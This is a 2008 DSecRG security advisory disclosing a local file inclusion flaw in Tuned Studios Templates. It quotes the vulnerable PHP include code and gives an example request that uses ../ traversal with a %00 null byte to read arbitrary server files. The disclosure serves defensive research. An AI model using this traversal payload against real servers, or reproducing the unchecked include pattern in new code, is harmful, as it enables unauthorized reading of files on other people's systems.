DSECRG08-001.txt

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Digital Security Research Group [DSecRG] Advisory #DSECRG08-001  
  
  
Application: Tuned Studios Templates  
Versions Affected: All  
Vendor URL: http:/www.tunedstudios.com  
Bug: Local File Include  
Exploit: YES  
Reported: 09.01.2008  
Date of Public Advisory: 09.01.2008  
Authors: Alexandr Polyakov, Stas Svistunovich  
Digital Security Reasearch Group [DSecRG] (research [at] dsec [dot] ru)  
  
  
  
Description  
***********  
  
Tuned Studios Templates has Local File Include vulnerability in page phpversion/index.php   
  
  
Details  
*******  
  
Tuned Studios has many templates based on same vulnerable php code  
  
Code  
****  
  
############################################  
//First check if $page exists  
//With the introduction of PHP 5 we have to capture the $page from the url.  
$page = $_GET['page'];  
  
if(isset($page) && $page != '')  
{  
//Check if the page $page exists  
if(file_exists($page.'.php'))  
{  
//Now we can include the page.  
include($page.'.php');  
}  
else  
{  
//Page can't be found, include the error file  
include('data/error404.data.php');  
}  
}  
############################################  
  
Example:   
  
http://[server]/[installdir]/index.php?page=../../../../../../../[file]%00  
  
About  
*****  
  
Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards. Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.  
  
  
Contact: research [at] dsec [dot] ru  
http://www.dsec.ru (in Russian)  
  
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